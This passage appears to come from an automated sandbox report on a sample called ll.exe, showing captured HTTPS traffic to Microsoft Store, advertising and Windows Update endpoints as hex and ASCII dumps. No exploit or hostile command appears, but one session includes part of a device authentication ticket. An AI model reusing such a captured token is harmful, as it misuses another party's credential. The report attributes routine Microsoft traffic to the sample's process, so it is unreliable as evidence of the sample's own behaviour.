22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 35 2e 32 32 30 35 33 2e 37 30 5f 78 38 36 5f 5f 38
Data Ascii: 0173,"PlatformDependencies":[{"MaxTested":2814750931222528,"MinVersion":2814750835277824,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.BingNews_4.45.22053.70_x86__8
2022-04-08 08:03:31 UTC8597INData Raw: 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 38 2e 35 30 30 31 2e 30 5f 6e 65 75 74
Data Ascii: es\":[\"Microsoft.BingNews_4.47.22181.0_arm__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.47.22181.0_x64__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.47.22181.0_x86__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.BingNews_4.8.5001.0_neut
2022-04-08 08:03:31 UTC8601INData Raw: 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 38 2e 36 30 30 31 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d
Data Ascii: Id\":\"Microsoft.BingNews_4.8.6001.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750931222528,\"platform.minVersion\":2814750835277824,\"platform
2022-04-08 08:03:31 UTC8605INData Raw: 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c
Data Ascii: m.minVersion\":2814750835277824,\"platform.target\":5}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\
2022-04-08 08:03:31 UTC8609INData Raw: 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49
Data Ascii: e,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemI
2022-04-08 08:03:31 UTC8613INData Raw: 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 62 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36 37 62 63 38 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72
Data Ascii: l\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"eb7ab652-c227-4596-ba77-467bc8dae332","WuCategor
2022-04-08 08:03:31 UTC8617INData Raw: 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36 37 62 63 38 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74
Data Ascii: 7ab652-c227-4596-ba77-467bc8dae332","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Archit
2022-04-08 08:03:31 UTC8621INData Raw: 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 38 36 22 2c 22 61 72 6d 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 39 39 33 30 38 36 35 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 31 37 36 34 34 38 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e
Data Ascii: tions":[{"ApplicationId":"AppexNews"}],"Architectures":["x86","arm","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":39930865,"MaxInstallSizeInBytes":35176448,"PackageFormat":"AppxBundle","PackageFamilyName":"Microsoft.
2022-04-08 08:03:31 UTC8625INData Raw: 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 39 2e 31 30 30 30 31 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 64 39 37 34 65 31 61 34 2d 31 35 32 63 2d 63 38 33 37 2d 36 32 34 63 2d 35 36 36 32 39 39 39 63 64 65 34 38 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61
Data Ascii: ":"EAppxBundle","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.BingNews_4.9.10001.70_neutral_~_8wekyb3d8bbwe","PackageId":"d974e1a4-152c-c837-624c-5662999cde48-X86-X64-Arm","PackageRa
2022-04-08 08:03:31 UTC8629INData Raw: 33 39 2d 66 31 63 33 2d 65 62 31 34 32 36 63 63 38 33 35 63 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 33 36 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65
Data Ascii: 39-f1c3-eb1426cc835c-X86-X64-Arm","PackageRank":30363,"PlatformDependencies":[{"MaxTested":2814750931222528,"MinVersion":2814750835277824,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundle
2022-04-08 08:03:31 UTC8633INData Raw: 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 35 34 33 37 30 36 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 58 61 70 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 64 64 36 35 31 35 39 30 2d 61 30 61 35 2d 34 62 61 31 2d 62 30 64 37 2d 64 33 64 30 62 65 32 34 30 39 35 61 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 31 31 30
Data Ascii: loadSizeInBytes":7543706,"MaxInstallSizeInBytes":null,"PackageFormat":"Xap","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"","PackageId":"dd651590-a0a5-4ba1-b0d7-d3d0be24095a","PackageRank":110
2022-04-08 08:03:31 UTC8637INData Raw: 34 35 30 32 36 34 30 36 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 6d 61 78 4f 53 54 65 73 74 65 64 5c 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 5c 22 63 6f 6e 74 65 6e 74 2e 6d 69 6e 4f 53 5c 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f
Data Ascii: 450264064,"PlatformName":"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.maxOSTested\":1688858450264064,\"content.minOS\":1688858450264064,\"content.packageId\":\"Microsoft.BingNews_
2022-04-08 08:03:31 UTC8641INData Raw: 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 62 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36 37 62 63 38 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a
Data Ascii: VFW","WuBundleId":"eb7ab652-c227-4596-ba77-467bc8dae332","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":
2022-04-08 08:03:31 UTC8645INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
49192.168.2.35002840.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:30 UTC8452OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170259Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:30 UTC8453INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3f387025-5740-4024-bf27-9c1f02572ede
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
5192.168.2.34998220.199.120.85443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:24 UTC29OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 34 66 33 32 30 66 39 39 33 64 36 64 62 63 64 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: 94f320f993d6dbcd
2022-04-08 08:02:24 UTC29OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:02:24 UTC29OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 34 66 33 32 30 66 39 39 33 64 36 64 62 63 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: 94f320f993d6dbcd<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:02:24 UTC30OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 34 66 33 32 30 66 39 39 33 64 36 64 62 63 64 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: 94f320f993d6dbcd
2022-04-08 08:02:24 UTC30INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:02:24 UTC30INData Raw: 4d 53 2d 43 56 3a 20 56 50 52 67 72 6b 5a 38 4b 6b 32 78 46 78 58 49 4d 5a 41 4f 53 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: VPRgrkZ8Kk2xFxXIMZAOSg.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
50192.168.2.35002940.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:31 UTC8489OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170302Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:31 UTC8633INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 91c9d4d7-18ff-4c90-8c17-defbb9c947b6
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
51192.168.2.35003040.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:31 UTC8645OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170304Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:31 UTC8646INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c9c90fae-862a-4a37-99c9-9622ef344dd3
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
52192.168.2.35003140.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:31 UTC8646OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170306Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:31 UTC8647INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 5d8ea45e-299a-4a22-af28-03e930484d4b
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
53192.168.2.35003340.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:31 UTC8647OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170308Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:31 UTC8648INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 54067007-297a-415b-8711-dd21af9739af
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
54192.168.2.35003252.242.101.226443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:31 UTC8647OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:31 UTC8648INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
